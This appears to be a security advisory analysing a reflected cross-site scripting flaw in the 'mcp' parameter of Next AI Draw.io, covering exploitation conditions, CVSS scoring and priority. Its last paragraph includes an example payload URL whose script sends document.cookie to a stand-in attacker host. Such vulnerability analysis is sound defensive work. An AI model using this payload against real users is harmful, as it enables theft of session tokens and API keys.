Next AI Draw.io EUVD-2026-58196

The vulnerable endpoint must receive and render the mcp query parameter - an attacker-controllable URL parameter interpolated without escaping into HTML/JavaScript output. Active user interaction is required (UI:A per CVSS 4.0): the victim must click a crafted URL, making social engineering or phishing the delivery mechanism. No authentication is required (PR:N), and the application must be network-reachable to deliver the malicious link. The primary factor limiting exploitation is the mandatory victim interaction - this cannot be triggered passively or without the user navigating to the crafted URL. Additionally, the application must be running (typically on localhost) for the injected script to execute in the intended origin. Exploitation is further limited to users running affected versions 0.2.1 through 0.4.16.

The CVSS 4.0 base score of 5.1 (Medium) accurately reflects the primary constraint: mandatory active user interaction (UI:A) means the attacker must socially engineer a victim into clicking a crafted URL rather than exploiting passively. There is no direct impact on the vulnerable system's confidentiality, integrity, or availability (VC:N/VI:N/VA:N); impact is scoped to subsequent-system effects (SC:L/SI:L), consistent with data exfiltration from the localhost browser origin rather than server-side compromise. The publicly available POC (confirmed by VulnCheck) lowers exploitation effort significantly and makes this more actionable than a theoretical finding, but EPSS data was not provided in the input and cannot be cited. No CISA KEV listing is present, so active widespread exploitation is not confirmed. Real-world priority is moderate for environments where users handle sensitive diagram data or API credentials and may be exposed to phishing - but this is a low-footprint niche tool, limiting aggregate exposure. The localhost context is a meaningful nuance: if the app exposes local resources not normally web-accessible, the effective impact could exceed the SC:L/SI:L rating.

An attacker constructs a URL targeting the victim's locally running Next AI Draw.io instance with a JavaScript payload embedded in the mcp query parameter (e.g., http://localhost:3000/path?mcp=<script>fetch('https://attacker.example/steal?d='+document.cookie)</script>), then delivers it via a phishing email or social engineering message. When the victim clicks the link, the application reflects the unescaped parameter into the rendered HTML, causing the browser to execute the attacker's script in the localhost origin. The script then exfiltrates diagram session tokens, stored API keys, or other sensitive data accessible to that origin. A publicly available POC via GitHub issue #917 demonstrates this technique.